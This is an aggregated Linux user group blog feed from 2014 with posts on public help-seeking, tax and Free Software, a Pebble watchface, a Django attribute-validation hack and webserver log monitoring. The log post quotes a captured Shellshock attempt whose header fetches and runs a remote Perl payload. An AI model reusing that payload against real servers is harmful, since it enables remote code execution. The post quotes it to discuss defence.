LUG Community Blogs

Chris Lamb: Don't ask your questions in private

Planet ALUG - Thu, 04/12/2014 - 12:55

(If I've linked you to this page, it is my feeble attempt to provide a more convincing justification.)


I often receive instant messages or emails requesting help or guidance at work or on one of my various programming projects.

When asked why they asked privately, the responses vary; mostly along the lines of it simply being an accident, not knowing where else to ask, as well as not wishing to "disturb" others with their bespoke question. Some will be more candid and simply admit that they were afraid of looking unknowledgable in front of others.

It is always tempting to simply reply with the answer, especially as helping another human is inherently rewarding unless one is a psychopath. However, one can actually do more good overall by insisting the the question is re-asked in a more public forum.

This is for many reasons. Most obviously, public questions are simply far more efficient as soon as more than one person asks that question — the response can be found in a search engine or linked to in the future. These time savings soon add up, meaning that simply more stuff can be done in any given day. After all, most questions are not as unique as people think.

Secondly, a private communication cannot be corrected or elaborated on if someone else notices it is incorrect or incomplete. Even this rather banal point is more subtle that it first appears — the lack of possible corrections deprives both the person asking and the person responding of the true and correct answer.

Lastly, conversations that happen in private are depriving others of the answer as well. Perhaps someone was curious but hadn't got around to asking? Maybe the answer—or even the question!—contains a clue to solving some other issue. None of this can happen if this is occurs behind closed doors.

(There are lots of subtler reasons too — in a large organisation or team, simply knowing what other people are curious about can be curiously valuable information.)

Note that this is not—as you might immediately suspect—simply a way of ensuring that one gets the public recognition or "kudos" from being seen helping others.

I wouldn't deny that technical communities work on a gift economy basis to some degree, but to attribute all acts of assistance as "selfish" and value-extracting would be to take the argument too far in the other direction. Saying that, the lure and appeal of public recognition should not be understated and can certainly provide an incentive to elaborate and provide a generally superior response.


More philosophically, there's also something fundamentally "honest" about airing issues in an appropriately public and transparent manner. I feel it promotes a culture of egoless conversations, of being able to admit one's mistakes and ultimately a healthy personal mindset.

So please, take care not only in the way you phrase and frame your question, but also consider wider context in which you are asking it. And don't take it too personally if I ask you to re-ask elsewhere...

Categories: LUG Community Blogs

MJ Ray: Autumn Statement #AS2014, the Google tax and how it relates to Free Software

Planet ALUG - Thu, 04/12/2014 - 04:34

One of the attention-grabbing measures in the Autumn Statement by Chancellor George Osborne was the google tax on profits going offshore, which may prove unworkable (The Independent). This is interesting because a common mechanism for moving the profits around is so-called transfer pricing, where the business in one country pays an inflated price to its sibling in another country for some supplies. It sounds like the intended way to deal with that is by inspecting company accounts and assessing the underlying profits.

So what’s this got to do with Free Software? Well, one thing the company might buy from itself is a licence to use some branding, paying a fee for reachuse. The main reason this is possible is because copyright is usually a monopoly, so there is no supplier of a replacement product, which makes it hard to assess how much the price has been inflated.

One possible method of assessing the overpayment would be to compare with how much other businesses pay for their branding licences. It would be interesting if Revenue and Customs decide that there’s lots of Royalty Free licensing out there – including Free Software – and so all licence fees paid to related companies are a tax avoidance ruse. Similarly, any premium for a particular self-branded product over a generic equivalent could be classed as profit transfer.

This could have amusing implications for proprietary software producers who sell to sister companies but I doubt that the government will be that radical, so we’ll continue to see absurdities like Starbucks buying all their coffee from famous coffee producing countries Switzerland and the Netherlands. Shouldn’t this be stopped, really?

Categories: LUG Community Blogs

Steve Kemp: Paying attention to webserver logs

Planet HantsLUG - Tue, 02/12/2014 - 13:51

If you run a webserver chances are high that you'll get hit by random exploit-attempts. Today one of my servers has this logged - an obvious shellshock exploit attempt:

92.242.4.130 blog.steve.org.uk - [02/Dec/2014:11:50:03 +0000] \ "GET /cgi-bin/dbs.cgi HTTP/1.1" 404 2325 \ "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; wget http://146.71.108.154/pis ; \ curl -O http://146.71.108.154/pis;perl pis;rm -rf pis\"; node-reverse-proxy.js"

Yesterday I got hit with thousands of these referer-spam attempts:

152.237.221.99 - - [02/Dec/2014:01:06:25 +0000] "GET / HTTP/1.1" \ 200 7425 "http://buttons-for-website.com" \ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

When it comes to stopping dictionary attacks against SSH servers we have things like denyhosts, fail2ban, (or even non-standard SSH ports).

For Apache/webserver exploits we have? mod_security?

I recently heard of apache-scalp which seems to be a project to analyse webserver logs to look for patterns indicative of attack-attempts.

Unfortunately the suggested ruleset comes from the PHP IDS project and are horribly bad.

I wonder if there is any value in me trying to define rules to describe attacks. Either I do a good job and the rules are useful, or somebody else things the rules are bad - which is what I thought of hte PHP-IDS set - I guess it's hard to know.

For the moment I look at the webserver logs every now and again and shake my head. Particularly bad remote IPs get firewalled and dropped, but beyond that I guess it is just background noise.

Shame.

Categories: LUG Community Blogs

Steve Engledow (stilvoid): Just call me Anneka

Planet ALUG - Mon, 01/12/2014 - 00:16

I had an idea a few days ago to create a Pebble watchface that works like an advent calendar; you get a new christmas-themed picture every day.

Here it is :)

The fun part however, was that I completely forgot about the idea until today. Family life and my weekly squash commitment meant that I didn't have a chance to start work on it until around 22:00 and I really wanted to get it into the Pebble store by midnight (in time for the 1st of December).

I submitted the first release at 23:55!

Enjoy :)

I'll put the source on GitHub soon. Before that, it's time for some sleep.

Categories: LUG Community Blogs

Mick Morgan: independent hit

Planet ALUG - Thu, 27/11/2014 - 11:33

On trying to reach the website of the Independent newspaper today (the Grauniad is trying my patience of late), I received the following response:

Closing the popup takes you to this page:

I haven’t checked whether this is simply a DNS redirect or an actual compromise of the Indy site, but however the graffiti was added, it indicates that the Indy has a problem.

Categories: LUG Community Blogs

Chris Lamb: Validating Django model attribute assignment

Planet ALUG - Tue, 25/11/2014 - 14:54

Ever done the following?

>>> user = User.objects.get(pk=102) >>> user.superuser = True >>> user.save() # Argh, why is this user now not a superuser...

Here's a dirty hack to validate these:

import sys from django.db import models from django.conf import settings FIELDS = {} EXCEPTIONS = { 'auth.User': ('backend',), } def setattr_validate(self, name, value): super(models.Model, self).__setattr__(name, value) # Real field names cannot start with underscores if name.startswith('_'): return # Magic if name == 'pk': return k = '%s.%s' % (self._meta.app_label, self._meta.object_name) try: fields = FIELDS[k] except KeyError: fields = FIELDS[k] = set( getattr(x, y) for x in self._meta.fields for y in ('attname', 'name') ) # Field is in allowed list if name in fields: return # Field is in known exceptions if name in EXCEPTIONS.get(k, ()): return # Always allow Django internals to set values (eg. aggregates) if 'django/db/models' in sys._getframe().f_back.f_code.co_filename: return raise ValueError( "Refusing to set unknown attribute '%s' on %s instance. " "(Did you misspell %s?)" % (name, k, ', '.join(fields)) ) # Let's assume we have good test coverage if settings.DEBUG: models.Model.__setattr__ = setattr_validate

Now:

>>> user = User.objects.get(pk=102) >>> user.superuser = True ... ValueError: Refusing to set unknown attribute 'superuser' on auth.User instance. (Did you misspell 'username', 'first_name', 'last_name', 'is_active', 'email', 'is_superuser', 'is_staff', 'last_login', 'password', 'id', 'date_joined')

(Django can be a little schizophrenic on this — Model.save()'s update_fields keyword argument validates its fields, as does prefetch_related, but it's taking select_related a little while to land.)

Categories: LUG Community Blogs

Meeting at "The Moon Under Water"

Wolverhampton LUG News - Mon, 24/11/2014 - 13:45
Event-Date: Wednesday, 26 November, 2014 - 19:30 to 23:00Body: 53-55 Lichfield St Wolverhampton West Midlands WV1 1EQ Eat, Drink and talk Linux
Categories: LUG Community Blogs
Syndicate content